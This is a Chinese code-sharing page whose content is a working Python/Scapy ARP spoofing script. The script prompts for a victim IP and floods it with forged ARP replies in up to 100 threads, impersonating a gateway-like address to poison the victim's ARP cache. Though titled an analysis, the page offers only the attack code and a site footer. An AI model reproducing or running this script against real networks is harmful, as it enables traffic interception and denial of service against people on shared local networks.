铁雪资源网 Design By www.gsvan.com

复制代码 代码如下:
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')

    Main(ip = ip).start()

标签:
arp欺骗

铁雪资源网 Design By www.gsvan.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
铁雪资源网 Design By www.gsvan.com

评论“python发送arp欺骗攻击代码分析”

暂无python发送arp欺骗攻击代码分析的评论...